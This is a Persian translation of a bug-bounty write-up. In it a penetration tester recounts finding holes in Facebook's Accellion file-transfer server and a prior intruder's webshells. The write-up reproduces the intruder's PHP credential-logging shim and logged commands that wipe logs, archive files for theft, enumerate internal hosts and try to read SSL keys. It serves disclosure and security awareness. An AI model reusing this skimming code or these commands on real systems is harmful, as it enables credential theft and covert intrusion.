Gerdab.IR | گرداب

گروه ترجمه گرداب؛ پایگاه رسانه ای گرداب جهت اطلاع و افزایش دانش و سواد فضای مجازی مخاطبان خود و به ویژه دانشجویان، پژوهشگران و تصمیم گیران این عرصه، مطالب مهم رسانه های خارجی را ترجمه و منتشر می نماید. بدیهی است انتشار این مطالب، لزوما به معنای تایید محتوای آن نیست. هدف از انتشار متن زیر، آگاهی بخشی نسبت به آسیب پذیری شبکه های اجتماعی است.

پیش گفتار گرداب

در دنیای مجازی نسبت به دنیای حقیقی خطرات بیشتری وجود دارد. برای اینکه امنیت دنیای مجازی تضمین شود باید اقداماتی روی سرورها و سایت ها انجام شود تا منافذ نفوذ هکرها شناخته شود و جلوی آنها گرفته شود؛ به مجموعه این اقدامات تست نفوذ گفته می شود.

برای تست نفوذ باید روش های هک را روی هدف مورد نظر پیاده کرد. بر ین اساس پنج مرحله هک قانونمند وجود دارد که شامل موارد زیر می شود:

· شناسایی

· اسکن

· ایجاد دسترسی

· حفظ دسترسی

. از بین بردن رد پاها و لاگ های سیستم

مرحله اول شامل شناسایی است که خود شامل پسیو و اکتیو می شود

شناسایی پسیو شامل جمع آوری اطلاعات از طریق روش های مختلف مانند مهندسی اجتماعی[1]، آشغال گردی[2]، استراق سمع شبکه [3]و... می باشد.

شناسایی اکتیو دارای ریسک بالاتری نسبت به پسیو است و شامل کشف کامپیوتر های افراد و.. می باشد.

مرحله دوم اسکن شبکه، سایت و سرور است و شامل اسکنرهای پورت ها مانند Nmap ، ابزارهای ترسیم نقشه شبکه مانند maltego و اسکنرهای تست آسیب پذیری مانند Nessus ، metasploit، Acunetix و... می باشد.

در این مرحله با استفاده از اسکنرها یکسری از آسیب ها شناسایی می شوند که ممکن است برای آن اکسپلویت یعنی یک کدی برای نفوذ، وجود داشته باشد یا خیر. برای این منظور یک سری از سایت ها مانند www.exploit-db.com اکسپلویت ها را برای استفاده با مشخصاتی مانند CVE-2016-2350 منتشر می کنند و اگر هم وجود نداشت باید یک برنامه نویس حرفه ای، اکسپلویت نفوذ را با زبان برنامه نویسی perl ، php ، Python و... بنویسد. باید توجه داشت که به روز رسانی منظم سیستم عامل ها می توانند اکسپلویت های هکر ها را از کار بیندازد.

مرحله سوم شامل ایجاد دسترسی بر روی هدف مورد نظر است که می تواند سایت، ایمیل یا سرور باشد. در این مرحله آسیب پذیری های شناخته شده در مراحل شناسایی و اسکن از طریق شبکه محلی به هدف مورد نظر می باشد. که در دنیای هکرها با نام Owning the system   شناخته می شود.

مرحله چهارم شامل حفظ دسترسی به سرورها، سایت ها و... می باشد که هر زمان که هکر اراده کند بتواند از خدمات آن سایت یا سرور استفاده کند برای این منظور از طریق backdoor ، rootkit و تروجان ها صورت می گیرد در این حالت به آن سیستم Zombie گفته می شود.

مرحله پنجم که برای هکرها بسیار مهم است از بین بردن رد پاها و لاگ های سیستم می باشد تا قابل شناسایی برای پلیس نباشد.

در این مقاله هکر انگیزه خود را برای پیدا کردن باگ و نفوذ فیس بوک، جایزه شرکت فیس بوک عنوان کرده است.

شرح هک فیس بوک به وسیله یک متخصص تست نفوذ

به عنوان کسی که تست نفوذ انجام می دهد، آسیب پذیری های سمت سرور را به آسیب پذیری های سمت کلاینت ترجیح می دهم. چرا؟ چون کنترل سرور و به دست آوردن Shellبسیار بهتر است.

البته، هردوی این آسیب پذیری ها برای یک تست آسیب پذیری کامل لازم الاجرا هستند. بعضی اوقات، برای کنترل هرچه بهتر سرور، به آسیب پذیری های سمت کلاینت احتیاج داریم. ولی وقتی صحبت از آسیب پذیری باشد، من ترجیح می دهم اول آسیب پذیری های سمت سرور را پیدا کنم.

با افزایش محبوبیت فیسبوک در جهان، من همیشه علاقمند به آزمودن میزان امنیت فیسبوک بوده ام. خوشبختانه، در سال 2012، فیسبوک برنامه ی جایزه در ازای باگ را راه اندازی کرد، که حتی من را برای امتحانش تهییج کرد.

از دیدگاه یک نفوذ کننده، من تمایل دارم از شناسایی و تحقیق شروع کنم. در ابتدا، وسعت شرکت در اینترنت را مشخص میکنم، بعد به دنبال یک ورودی خوب برای وارد شدن میگردم، برای مثال:

· با گوگل هکینگ[4] چه میتوانم پیدا کنم؟

· چند IP [5]کلاس Bو چند IPکلاس Cاستفاده شده است؟

· [6]Whois؟ Whoisمعکوس؟

· چه نام دامنه هایی استفاده شده است؟ نام دامنه های داخلی آنها چیست؟ و بعد ادامه دادن با شناسایی زیر-دامنه ها

· کدام تکنیک ها و فروشنده های تجهیزات را ترجیح می دهند ؟

· هرگونه رخنه اطلاعات در github [7]و pastebin؟

· غیره...

البته، جایزه در ازای باگ محدودیت هایی دارد و نمی توان به صورت تصادفی حملاتی را انجام داد. با مقایسه ی یافته های خودتان با کارهایی که اجازه‌ی انجام آن ها از قبل توسط جایزه در ازای باگ داده شده، قسمت مشترک قسمتی است که ارزش امتحان کردن دارد.

در اینجا می خواهم تعدادی از مشکلات امنیتی معمولی که طی تست نفوذ در شرکت های بزرگ پیدا شده است را با ارائه مثال توضیح دهم.

1. برای اکثر شرکت های بزرگ، مراقبت از "مرز شبکه"تقریبا کار سختی است. در شرکتی که رشد کرده است، ده ها هزار روتر، سرور و کامپیوتر وجود دارد که "سیستم مدیریت اطلاعات"باید به آنها رسیدگی کند، پس ایجاد یک مکانیزم بی نقص حفاظتی غیر ممکن است. حملات امنیتی فقط با قوانینی کلی دفاع می شوند، ولی یک حمله‌ی موفق تنها به یک نقطه ضعف کوچک نیاز دارد. برای همین اکثرا شانس حمله کننده بیشتر است: یک سرور بیرونی آسیب پذیر برای ورود به شبکه‌ی داخلی کافی است! ( زیرا از طریق سرور بیرونی می توان به راحتی به شبکه داخلی یک سازمان که با سرور به صورت آنلاین در ارتباط است نفوذ کرد)

2. عدم آگاهی در حفاظت "تجهیزات شبکه ای". اکثر تجهیزات شبکه ای تنظیمات [8] Shellخوبی ارائه نمی دهند و فقط از طریق رابط کاربری تنظیم می شوند. محافظت از این دستگاه ها اکثرا بر روی لایه‌ی شبکه[9] انجام می شود. اگرچه، ممکن است کاربر حتی متوجه نشود این دستگاه ها مورد حملات 0- Dayیا 1-Day[10] قرار گرفته اند.

3. ایمنی مردم: امروزه ما اهمیت "پایگاه داده‌ برملا شده" ( با نام مهندسی اجتماعی پایگاه داده‌ها در چین شناخته می شود) را می دانیم، بعضی اوقات این اطلاعات برملا شده نفوذ را بسیار آسان می کند. کافیست به پایگاه داده‌ی برملا شده وصل شوید، یک یوزر که به VPNدسترسی دارد پیدا کنید... و تمام! می توانید با نفوذ به شبکه‌ی داخلی کار را ادامه دهید. این کار مخصوصا وقتی درست است که وسعت اطلاعات برملا شده آنقدر زیاد باشد که بتوان پسورد ادمین را در اطلاعات برملا شده پیدا کرد. اگر این اتفاق بیافتد، امنیت شرکت قربانی از بین می رود[11].

طبیعتا، وقتی به دنبال آسیب پذیری در فیسبوک میگشتم، تست های نفوذی که میشناختم را دنبال میکردم. وقتی که شناسایی و تحقیق انجام می دادم، نه تنها به دنبال نام دامنه های فیسبوک گشتم، بلکه Whoisبرعکس را هم امتحان کردم. با کمال تعجب یک نام دامنه جالب پیدا کردم:

tfbnw.net

TFBNWبه نظر مخفف "The Facebook Network” است، بعد سرور زیر را از طریق اطلاعات آشکار پیدا کردم:

vpn.tfbnw.net

وقتی بهvpn.tfbnw.net دسترسی پیدا کردم یک صفحه ورودJuniper SSL VPN در آن وجود داشت. ولی به نظر کاملا نسخه‌‌ی جدیدی بود و هیچ راه نفوذ مستقیمی وجود نداشت... در هر صورت، باعث شروع داستان شد.

به نظر می رسیدTFBNW یک نام دامنه‌ی داخلی برای فیسبوک باشد.IPهای کلاسCآدرس vpn.tfbnw.netرا پیدا کردم و سرور های جالبی پیدا کردم[12]، برای مثال:

· Mail Server Outlook Web App

· F5 BIGIP SSL VPN

· CISCO ASA SSL VPN

· Oracle E-Business

· MobileIron MDM

با توجه به اطلاعات این سرورها، حدس زدم اینIPهای کلاسCبرای فیسبوک با اهمیت هستند. حالا داستان رسما شروع می شود.

کشف آسیب پذیری

من یک سرور خاص بین اینIPهای کلاس Cپیدا کردم.

files.fb.com

این که این آسیب پذیری قابل اکسپلویت شدن هست یا نه با فهمیدن اطلاعات نسخه آن در "/tws/getStatus” قابل تشخیص است. زمانی که من files.fb.comرا کشف کردم نسخه‌ی ناقص v0.18به نسخه‌ی v0.20به روز رسانی شده بود. ولی با توجه به قطعه های سورس کد موجود در Rapid7[13]، حس کردم با چنین شیوه‌ی کد نویسی‌ای حتما مشکلات امنیتی در FTA باقی مانده که با جست و جو آن ها را می یابم. از این رو، جست و جو برای آسیب پذیری های 0-Dayبر روی محصولات FTAرا آغاز کردم!

در واقع، با آزمون [14]black-box، هیچ آسیب پذیری ممکنی پیدا نکردم، و باید آزمون [15] white-boxرا امتحان می کردم. بعد از جمع آوری سورس کد های نسخه های قبلی FTA از منابع متعدد بالاخره تحقیقاتم به نتیجه رسید!

محصول FTA

1. رابط های کاربریِ بر پایه‌ی وب به طور عمده با Perlو PHPساخته شده بودند.

2. سورس کدهای PHPتوسط IonCubeرمزنگاری شده بودند.

3. تعداد زیادی Perl Daemonدر پشت صحنه

اول سعی کردم IonCube را رمزگشایی کنم. بسیاری از فروشندگان تجهیزات شبکه برای جلوگیری از هک شدن سورس کد محصولات خود را رمزنگاری می کنند. خوشبختانه، نسخه‌ی IonCube‌ ای که FTAاز آن استفاده می کرد به روز نبود و با ابزار های آماده قابل رمزگشایی بود. ولی من هنوز باید بعضی جزئیات را درست می کردم، وگرنه اوضاع به هم میریخت...

بعد از یک بازدید ساده، فکر کردم شاید Rapid7آسیب پذیری های ساده تر را پیدا کرده باشد.

و آسیب پذیری هایی که مورد نیاز بودند به راحتی قابل اکسپلویت نبودند. پس نیاز به جست و جوی بیشتری بود!

بالاخره، 7آسیب پذیری پیدا کردم، شامل:

· XSS x 3

· Pre-Auth SQL Injectionکه منجر می شود بهRemote Code Execution

· Known-Secret-Keyکه منجر می شود بهRemote Code Execution

· Local Privilege Escalation x 2

جدا از گزارش به تیم امنیتی فیسبوک، دیگر آسیب پذیری ها به تیم پشتیبانی Accellionارائه شد. بعد از این که Accellion باگ ها را برطرف کرد، من آسیب پذیری ها را برای CERT/CCفرستادم و آن ها چهار CVEبه این آسیب پذیری ها اختصاص دادند:

· CVE-2016-2350

· CVE-2016-2351

· CVE-2016-2352

· CVE-2016-2353

جزئیات بیشتر را بعدا منتشر خواهم کرد!

چیز عجیبی آنجا بود؟

وقتی جزئیات و مدارک آسیب پذیری را برای گزارش به فیسبوک جمع آوری می کردم، چیزهای عجیبی در web logپیدا کردم.

اول از همه پیام های خطای PHP عجیبی در "/var/opt/apache/php_error_log” پیدا کردم. به نظر این پیام های خطا به خاطر تغییر آنلاین کدها ایجاد شده اند؟

↑ PHP error log

مسیرهای موجود در خطاهای PHPرا دنبال کرده و فایل های WEBSHELLمشکوکی که توسط "بازدید کننده های"قبلی به جا مانده بود کشف کردم

.

↑ Webshellبر روی سرور فیسبوک

محتوای بعضی از فایل ها به صورت زیر است:

Sclient_user_class_standard.inc

include_once('sclient_user_class_standard.inc.orig');

$fp=fopen("/home/seos/courier/B3dKe9sQaa0L.log","a");

$retries=0;

$max_retries=100;

// blah blah blah...

fwrite($fp,date("Y-m-d H:i:s T").";".$_SERVER["REMOTE_ADDR"].";".$_SERVER["HTTP_USER_AGENT"].";POST=".http_build_query($_POST).";GET=".http_build_query($_GET).";COOKIE=".http_build_query($_COOKIE)."\n");

// blah blah blah...

چند مورد اول بکدور های تک خطیِ ساده‌ی PHPبودند ولی یک استثناء وجود داشت:

"Sclient_user_class_standard.inc"

در include_once "scilent_user_class_standard.inc.orig” برنامه اصلی PHP برای بازبینی رمزعبور وجود داشت، و هکر یک پروکسی برای لاگ کردن مقادیر GET، POSTو COOKIE ایجاد کرده بود و تعدادی عملیات مهم در حال اجرا بود.

یک خلاصه‌ی کوتاه، هکر یک پروکسی در صفحه‌ی credentialها ایجاد کرده بود تا یوزرنیم و پسوردهای کارمندان فیسبوک را لاگ کند. این رمزعبور های لاگ شده در وب دایرکتوری هکر ذخیره می شد تا هر موقع که لازم بود از آن ها استفاده کند.

wget

https://files.fb.com/courier/B3dKe9sQaa0L.log

↑ رمزعبور های لاگ شده

از روی این اطلاعات می توانیم ببینیم جدا از یوزرنیم و پسوردهای لاگ شده همچنین محتواهایی وجود داشته که از FTAدرخواست فایل می کردند، و این یوزرنیم و پسوردهای لاگ شده مرتبا در حال چرخش بودند.(بعدا به این اشاره خواهیم کرد، این که اشاره‌ی سطحی بود)

وقتی من این ها را کشف کردم، حدود 300یوزر و پسورد بین اول تا هفتم فوریه لاگ شده بودند که بیشتر از "@fb.com”و "@facebook.com” بودند. با دیدن این فکر کردم این یک واقعه‌ی امنیتی جدی است. در FTA، دو حالت برای لاگین کاربر وجود دارد:

1.

ثبت نام کاربرهای معمولی: Hashرمز عبور آن ها در پایگاه داده ذخیره شده و آن Hashتوسط SHA256+SALTرمزنگاری می شود.

2.

تمام کارمندان فیسبوک(@fb.com): از LDAPاستفاده شده و توسط سرور ADتائید می شدند.

من معتقدم این یوزرنیم و پسوردهای لاگ شده رمزعبورهای واقعی بودند و "حدس"می زنم آن ها می توانستند از سرویس هایی مانند Mail OWAو VPNبرای نفوذ پیشرفته استفاده کنند.

به علاوه، این هکر سهل انگار بود:

1.

پارامترهای بکدور از متود GET عبور می کردند و ردپای هکر در لاگ وب باقی می ماند و به

راحتی قابل شناسایی بود.

2.

وقتی هکر دستورات را ارسال می کرد، به STDERRتوجهی نداشت، و تعداد زیادی پیام خطا در لاگ وب باقی گذاشت که کارهای هکر را قابل ردیابی و شناسایی می کرد.

هکر هر چند روز یوزرنیم و پسوردهایی که لاگ کرده بود را از access.log پاک می کرد:

192.168.54.13--17955[Sat,23Jan201619:04:10+0000|1453575850]"GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1"2002559...

فایل ها را فشرده می کرد:

cat tmp_list3_2 |whileread line;do cp /home/filex2/1000/$line files;done 2>/dev/stdout

tar -czvf files.tar.gz files

Enumerating internal network architecture

dig a archibus.thefacebook.com

telnet archibus.facebook.com 80

curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php

dig a records.fb.com

telnet records.fb.com 80

telnet records.fb.com 443

wget -O- -q http://192.168.41.16

dig a acme.facebook.com

./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 2011255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout

...

Location: https://mail.thefacebook.com/owa/ [following]

--20:38:10-- https://mail.thefacebook.com/owa/

Reusing existing connection to mail.thefacebook.com:443.

HTTP request sent, awaiting response... 302 Moved Temporarily

Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]

--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0

Reusing existing connection to mail.thefacebook.com:443.

HTTP request sent, awaiting response... 200 OK

Length: 8902 (8.7K) [text/html]

Saving to: `STDOUT'

0K ........ 100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33-- (try:15) https://10.8.151.47/

Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/

Resolving svn.thefacebook.com... failed: Name or service not known.

--20:39:03-- https://sb-dev.thefacebook.com/

Resolving sb-dev.thefacebook.com... failed: Name or service not known.

failed: Connection timed out.

Retrying.

تلاش برای دزدیدن SSL Private Key

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

ls: /etc/opt/apache/ssl.key/server.key: No such file or directory

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

base64: invalid input

بعد از بررسی مرورگر فهمیدم SSL certificateآدرس files.fb.com، *.fb.comاست...

سخن پایانی

در این مقاله یک هکر سعی کرده است روش های هک فیس بوک را از طریق تست نفوذ به اطلاع تیم فیس بوک برساند و جایزه مورد نظر را دریافت کند.

در ابتدا هکر، سرور شبکه داخلی فیس بوک که برای کارمندان آن بوده است را شناسایی کرده و سرویس های خدماتی بر روی یک شبکه داخلی را بدست می آورد.

سپس دامنه file.fbc.com را که به روز نشده بود پیدا می کند، در واقع شانس هکر این بوده است که این سرویس به روز نشده بوده است.

از طریق روش های تست نفوذ جعبه های سیاه و سفید که یک اصطلاح هکری است ، سورس کد php را که باروش ioncube رمزگذاری شده بود را پیدا می کند؛ سپس با استفاده از روش اسکن، 7 نوع آسیب پذیری مهم از نوع xss ، sql injection ، local privilege و.. را شناسایی می کند.

این هکرآسیب های فوق را گزارش می دهد و cve مورد نظر برای آن تعریف می شود.

هکر از طریق خواندن کد سورس ها در لاگ وب، به یک وب شل ( دسترسی) مشکوک می رسد که هک آن را ایجاد کرده بود و تمامی پوزر و پسورد کارمندان فیس بوک را می دزدید.

همانطور که اشاره شد امنیت در فضای مجازی مطلق نیست و حتی شرکت بزرگ و مهمی مانند فیس بوک نیز قابل هک است.